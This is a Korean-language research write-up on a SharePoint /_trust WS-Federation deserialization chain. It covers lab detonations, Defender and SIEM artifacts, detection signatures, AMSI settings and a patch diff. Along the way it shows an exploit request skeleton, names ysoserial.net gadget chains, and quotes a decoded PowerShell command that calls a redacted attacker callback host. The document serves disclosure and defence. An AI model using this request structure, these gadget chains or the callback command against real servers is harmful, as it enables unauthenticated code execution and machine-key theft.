
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust WS-Federation 역직렬화: PoC 및 탐지 노트라이브 문서(GitHub Pages): https://sp-poc.wismansec.com/ (이 문서의 HTML 렌더링).
영향 대상: SharePoint Server 2016, 2019 및 Subscription Edition.
격리된 랩에서 SharePoint Server(Subscription Edition) 침해 사고를 재구성한 것으로, (a) 공격자의 전체 역량을 이해하고, (b) 방어자가 무엇을 사냥해야 하는지(스텔스 지속성 포함) 파악하며, (c) 다른 조사자들을 돕기 위한 PoC를 공유하기 위해 작성되었습니다.
승인된 연구에 한함. 여기의 모든 작업은 테스트를 위해 의도적으로 패치를 적용하지 않은 빌드를 대상으로, 격리된 개인 소유 랩 하드웨어와 계정에서 수행되었습니다. 근본적인 문제는 공급업체에 의해 수정되었으므로 최신 업데이트를 적용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오. 머신 키 값, 내부 호스트명/IP, 콜백 도메인은 본문과 예제 아티팩트에서 삭제(redacted)되었습니다. SIEM 스크린샷은 수정되지 않았으며 랩의 실제 이름을 담고 있습니다. §4의 주석을 참조하십시오.
/_trust SecurityContextToken BinaryFormatter 역직렬화 계열SecurityContextToken을 담은 단일 인증 없는 POST /_trust/default.aspx(WS-Federation 로그인) 요청이 SharePoint 작업자 프로세스(w3wp.exe)에서 BinaryFormatter 역직렬화를 유발하여 웹 앱 풀 ID로 원격 코드 실행(RCE)을 발생시킵니다./_trust에 대한 AMSI 요청 본문 스캔을 활성화하면 탐지 및 차단됩니다. §5 참조). 이러한 키를 통해 공격자는 패치 후에도 유효한 __VIEWSTATE/인증 토큰을 위조할 수 있습니다./_trust 요청 시그니처를 사냥하십시오.SharePoint는 /_trust/default.aspx에 WS-Federation 수동 로그인 엔드포인트를 노출합니다. 조작된 로그인 응답(wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>)에는 <Cookie> 요소가 base64, DEFLATE 압축된 BinaryFormatter 스트림인 SecurityContextToken이 포함됩니다. 서버 측에서 이 쿠키는 압축 해제된 후 타입 제한 없이 역직렬화되므로, 가젯 체인(ysoserial.net 경유)이 w3wp.exe 내부에서 공격자가 제어하는 코드를 실행합니다.
요청 골격(인증 없음):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
scripts/의 스크립트(삭제 처리됨): 파라미터화된 OOB RCE와 2단계 키 덤프. 페이로드 전달에는 PowerShell -EncodedCommand를 사용하므로 다중 명령문 페이로드가 cmd.exe/전송 계층을 통과하는 동안 그대로 유지됩니다(;/&& 따옴표 깨짐 없음).
단일 SharePoint SE 팜(수정 전 빌드 고정), 앱 풀 ID LAB\sp_pool, PowerShell 5.1, 클라우드 보호가 켜진 Microsoft Defender. 텔레메트리(Windows 이벤트 로그, SharePoint 로그, Defender for Endpoint)는 경량 오픈소스 SIEM인 nano로 전송되었습니다. 공격자 호스트는 ysoserial.net을 실행했고, interactsh 클라이언트가 OOB 리스너 역할을 했습니다. 주소와 도메인은 본문에서 삭제되었습니다. §4의 스크린샷 주석을 참조하십시오.
각 행은 실제 폭파(detonation) 1건이며, 아티팩트는 실행별로 SIEM + OOB 리스너에서 수집되었습니다.
스크린샷은 수정되지 않았습니다. 스크린샷에는 랩의 실제 호스트 및 NetBIOS 이름이 담겨 있으며, 이 이름들은 본문 전체에서 사용된 삭제 처리된
SHAREPOINT01/LAB과 달리 다듬어지지 않은(raw) 것입니다. 동일한 실행, 동일한 이벤트이며 조작된 것은 없습니다. 업무에 안전한 버전은artifacts/에 있습니다.
이 결과는 기본 AMSI 구성(Balanced 모드, /_trust 미스캔)을 기준으로 한 것입니다. /_trust에 대한 AMSI 요청 본문 스캔을 활성화하면(Full 모드 또는 대상 지정), 모든 행이 대신 요청 계층에서 차단됩니다. 실행 전에 HTTP 400, Exploit:Script/SpCookieExec.A가 발생합니다(§5 참조).

문서화된 4건의 폭파 전체(15:01~15:18 UTC)에서 w3wp.exe의 모든 자식 프로세스가 풀 ID로 실행되었습니다. 4건 중 3건은 powershell.exe가 직접 생성되었습니다. cmd.exe를 경유한 것은 15:03:34 실행뿐이며, 탐지된 것도 이 실행뿐입니다. 이 창을 넘어 더 넓히면 같은 오전의 이전 개발 반복도 결과 집합에 포함되므로, 이 주장은 이 4건에 한정됩니다.

기본 호출: w3wp.exe → cmd.exe → powershell.exe, conhost.exe가 함께 실행됩니다. Behavior:Win32/WebshellLauncher.A가 주목하는 형태가 바로 이것입니다.

-RawCmd 호출로, 동일한 프리미티브와 동일한 페이로드에서 cmd.exe 경유 단계만 제거된 것입니다. 이 실행에 대해 Defender는 아무것도 탐지하지 못했습니다. w3wp → cmd에 기반한 탐지는 이를 완전히 놓칩니다.

4건의 폭파가 있었던 동일한 25분 창에서 발생한 모든 Defender 이벤트입니다. 3건 모두 단일 cmd.exe 실행에 속합니다. Severe 등급의 malware_detected 2건과 action Remove의 malware_action_taken 1건입니다. 수정 조치가 비콘보다 빨리 이루어지지는 않았으며, 비콘이 먼저 완료되었습니다.
Security 4688에서 그대로 복구된 핵심 명령줄(인코딩 ≠ 회피):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

SIEM에 나타난 인코딩된 명령줄입니다. 이는 UTF-16LE의 base64일 뿐이며, base64 -d | iconv -f utf-16le -t utf-8 한 단계로 콜백을 복구할 수 있습니다. 인코딩은 난독화가 아닙니다.
아래 두 프레임은 팜 머신 키가 탈취된 동일한 90초 창을 다룹니다.

필터를 적용하지 않으면 이 창에는 20개의 이벤트가 있습니다. 호스트는 살아 있으며 텔레메트리를 전송 중입니다.

w3wp.exe의 자식 프로세스로 필터링하면 동일한 창이 비어 있습니다. 프로세스도, Defender 이벤트도, 비콘도 없습니다. 키는 HTTP 응답을 통해 유출되었으며, 호스트 측 아티팩트는 이 SIEM이 수집하지 않던 /_trust 요청 자체가 유일했습니다. 패치는 탈취된 키를 무효화하지 않습니다. 키를 교체하십시오.
OOB 리스너에서 포착된 -Diag 정보 유출(URL 디코딩됨):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
모든 변종에 존재하는 유일한 시그니처. 먼저 이것부터 사냥하십시오:
wa=wsignin1.0이 있고 RequestSecurityTokenResponse + SecurityContextToken/<Cookie>를 포함한 wresult가 있는 POST /_trust/default.aspx. 인증이 없으며, 종종 비정상적인 User-Agent가 동반됩니다. 응답 상태 기준: 이 엔드포인트에 대한 정상적인 WS-Federation 로그인 트래픽은 대부분 HTTP 302입니다. 익스플로잇은 다른 상태(200, 500, 연결 리셋, AMSI 차단 시 400)를 반환합니다. 엔드포인트에 실제 로그인 볼륨이 있는 경우 POST /_trust/default.aspx에 대한 302가 아닌 응답을 비정상으로 취급하십시오. 상태 코드만으로 익스플로잇 성공을 확인할 수는 없습니다. 성공한 실행은 200과 리셋을 모두 반환했습니다.프로세스 기반(RCE 변종에만 해당):
w3wp.exe가 cmd.exe 또는 powershell.exe를 직접 생성하는 경우. -RawCmd 변종은 cmd.exe 경유 단계를 제거하고 WebshellLauncher.A를 회피하므로 w3wp→cmd만으로 판단하지 마십시오.w3wp 하위의 모든 powershell.exe -EncodedCommand: 4688에서 블롭을 바로 디코딩하십시오(저장 상태에서 난독화되어 있지 않습니다).w3wp.exe → whoami.exe(정찰) 또는 자식 conhost.exe.대응 결정에 영향을 주는 두 가지 발견 사항:
Behavior:Win32/WebshellLauncher.A로 탐지하고 수정 조치를 취했을 때, 최소 한 번의 실행에서 아웃바운드 비콘이 수정 완료 전에 완료되는 것이 관찰되었습니다. 이러한 탐지를 가능한 콜백 성공으로 간주하고, 탐지 시점 전후의 DNS, 프록시, 아웃바운드 로그에서 콜백 목적지를 검토하십시오.w3wp.exe 내부에서 실행되고 HTTP 응답으로 키를 반환하므로, 호스트 측 증거는 POST /_trust/default.aspx 요청과 그 응답뿐입니다. 탐지 여부는 AMSI 요청 본문 스캔 구성에 달려 있습니다.MITRE ATT&CK: T1190(공개 애플리케이션 익스플로잇) · T1059.001(PowerShell) · T1552(보호되지 않은 자격 증명: 머신 키) · T1550(탈취 후 위조된 인증 자료 사용).
두 체인 모두 POST /_trust/default.aspx 요청 본문에 페이로드를 전달합니다. Microsoft Defender가 해당 페이로드를 검사하는지 여부는 웹 애플리케이션에 대한 SharePoint의 AMSI 요청 본문 스캔 구성에 의해 결정됩니다. 이 팜(SharePoint Server Subscription Edition, Microsoft Defender)에서 세 가지 구성을 직접 테스트했습니다:
| AMSI 요청 본문 구성 | 결과 |
|---|---|
Balanced 모드, /_trust/default.aspx가 대상 엔드포인트 목록에 없음(기본값) | 요청 본문 미스캔, 두 체인 모두 실행, Defender 탐지 없음 |
Balanced 모드, /_trust/default.aspx를 대상 엔드포인트로 추가 | 요청 본문 스캔, 요청 차단 |
| Full 모드(모든 엔드포인트 스캔) | 요청 본문 스캔, 요청 차단 |
기본 구성에서는 요청 본문이 검사되지 않으므로 RCE와 머신 키 유출이 모두 완료되고 AMSI 탐지가 발생하지 않습니다. 두 스캔 구성 모두에서 요청은 역직렬화 전에 HTTP 400으로 거부되고, 작업자 프로세스가 생성되지 않으며, Defender는 다음을 기록합니다:
| 필드 | 값 |
|---|---|
| 위협 | (ID 2147969862) |
요청이 코드 실행 전에 차단되므로 어떤 체인에서도 자식 프로세스가 생성되지 않고 Security 4688 프로세스 생성 이벤트도 발생하지 않습니다. 중간 cmd.exe 없이 powershell.exe를 직접 생성하는 RCE 변종도 동일하게 차단됩니다.
구성(SharePoint 관리 셸, 웹 애플리케이션별):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / web.config machineKey 업데이트 + IISReset). 패치는 RCE를 막지만 이미 탈취된 키를 무효화하지는 않습니다. 교체는 공격자가 지속성을 위해 FedAuth / SecurityContextToken / __VIEWSTATE를 위조하는 능력을 제거합니다.POST /_trust/default.aspx를 사냥합니다. 정상적인 WS-Federation 로그인도 wa=wsignin1.0으로 이 엔드포인트를 대상으로 하므로, 엔드포인트 자체가 아니라 익스플로잇 특유의 구조에 주목하십시오: base64 <Cookie>(네임스페이스 http://schemas.microsoft.com/ws/2006/05/security; 정상 로그인은 대신 서명된 SAML 어서션을 전달함)를 가진 <SecurityContextToken>인 토큰이 포함된 wresult, 그리고 302가 아닌 응답(200/500/400 또는 리셋), 스크립트화된/비정상적인 User-Agent가 함께 나타나는 경우입니다. 키 덤프는 이러한 POST 2건을 빠르게 연속 전송합니다. 발견되면 키가 손상된 것으로 간주하십시오.공급업체 수정 사항에 대한 정적 분석은 그 메커니즘을 확인하고, RCE에 탈취된 머신 키가 필요한지 여부를 결정합니다. 필요하지 않습니다. 방법: 6월 CU(KB5002873, 16.0.19725.20384)와 7월 CU(KB5002882, 16.0.19725.20434) 사이의 Microsoft.SharePoint.IdentityModel.dll 바이너리 패치 diff를 읽기 전용으로 디컴파일하여 비교했습니다.
익스플로잇된 읽기 경로는 SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2(System.IdentityModel.Tokens.SessionSecurityTokenHandler의 하위 클래스)입니다. 변경 사항:
해석. 패치 전 변환 체인은 deflate 전용이었고, 암호화도, 머신 키로 키잉된 MAC/서명 변환도 없었습니다. 기본 ReadToken은 변환을 적용하고 쿠키 값을 역직렬화하므로, 위조된 토큰은 머신 키 검증 게이트 없이 압축 해제되고 역직렬화됩니다. 가젯은 ValidationKey/DecryptionKey 없이도 실행됩니다(키와 무관). 수정 사항은 서명/복호화 검사를 추가하는 대신 싱크(sink) 자체를 제거합니다(변환과 ReadToken이 예외를 발생). 즉, 수정할 키 게이트가 없었음을 확인해 줍니다.
결과. 머신 키 유출은 RCE의 선행 조건이 아니라 별개의 지속성 목표(FedAuth / SecurityContextToken / __VIEWSTATE 위조)이며, 키 덤프 자체가 동일한 경로를 통한 RCE로서 어떤 키도 탈취되기 전에 실행됩니다.
동일한 7월 CU에는 또 다른 무관한 강화 조치가 포함되어 있습니다: SPJsonWebSecurityTokenHandlerV2의 JWT 액터 토큰 서명 검증(RequireSignedTokens false→true, 새 VerifyActorTokenSignature)입니다. 이는 여기서 다루는 WS-Federation 세션 토큰 경로가 아닌 별개의 OAuth / 서버 간 액터 토큰 경로입니다.
수정 사항 적용. 수정 사항은 7월 CU(KB5002882)입니다. deflate 전용 쿠키 변환을 예외를 발생시키는 변환으로 교체하여 싱크를 제거합니다. 설치 후 두 팜 설정 중 어느 것도 이를 되돌리거나 우회하지 않는지 확인하십시오. SessionCookieTransformProtectionEnabled를 false로 설정하면 세션 토큰 쿠키가 취약한 deflate 전용 변환으로 되돌아가고(RCE와 키 덤프가 다시 열림), DisableActorTokenSignatureValidation 디버그 플래그는 동일한 업데이트에서 강화된 별개의 JWT 액터 토큰 서명 우회를 다시 열게 됩니다.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| 체인 | 가젯 | 효과 | 출력 채널 |
|---|
| OOB RCE | TypeConfuseDelegate → -EncodedCommand PowerShell | 풀 ID로 코드 실행 | 대역 외(HTTP/DNS 비콘) |
| 머신 키 유출 | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile(KeyDump.cs를 프로세스 내에서 컴파일) | ValidationKey/DecryptionKey 덤프 | HTTP 응답에 인라인으로 포함 |
| 호출 방식 | 프로세스 트리(LAB\sp_pool, High 권한) | Defender | OOB 비콘 | 주요 아티팩트 |
|---|
| OOB RCE, 기본(default) | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A(EID 1116 탐지 / 1117 제거) | 도달(race) | 4688 트리, Defender 1116/1117, /_trust POST |
OOB RCE, -RawCmd | w3wp.exe → powershell.exe → conhost.exe(cmd 없음) | 없음 | 도달(DNS+HTTP) | 4688 트리, /_trust POST, 비콘 |
OOB RCE, -DropFile | w3wp.exe → powershell.exe | 없음 | 도달 | …\TEMPLATE\LAYOUTS\에 파일 쓰기(개체 액세스 감사 로그에는 없음) |
OOB RCE, -Diag | w3wp.exe → powershell.exe → whoami.exe | 없음 | 도달 | 환경 정보 유출: {host, whoami, PSver, LanguageMode} |
| 머신 키 덤프 | (없음, 프로세스 내부) | 없음 | (없음) | /_trust POST + 키를 담은 비정상 응답뿐 |
Exploit:Script/SpCookieExec.A| 심각도 / 범주 | Severe / Exploit |
| 탐지 소스 | AMSI |
| 조치 | Quarantine |
| 프로세스 | C:\Windows\System32\inetsrv\w3wp.exe |
__VIEWSTATE / 비정상적인 인증을 검토합니다./_trust에 대한 AMSI 요청 본문 스캔을 활성화합니다(Full 모드 또는 /_trust/default.aspx를 Balanced 대상 엔드포인트로 추가, §5 참조). 이렇게 하면 RCE와 키 덤프가 모두 실행 전에 요청 계층에서 차단됩니다.| 6월(취약) | 7월(수정됨) |
|---|
| 쿠키 변환 체인 | s_Transforms = { new DeflateCookieTransform() }(deflate만) | s_Transforms = { new NotSupportedCookieTransform() }(Decode/Encode가 예외 발생) |
ReadToken 오버라이드 | 없음(기본 ReadToken 상속) | ReadToken(XmlReader, SecurityTokenResolver), ReadToken(XmlReader), ReadToken(string) 모두 NotSupportedException 발생 |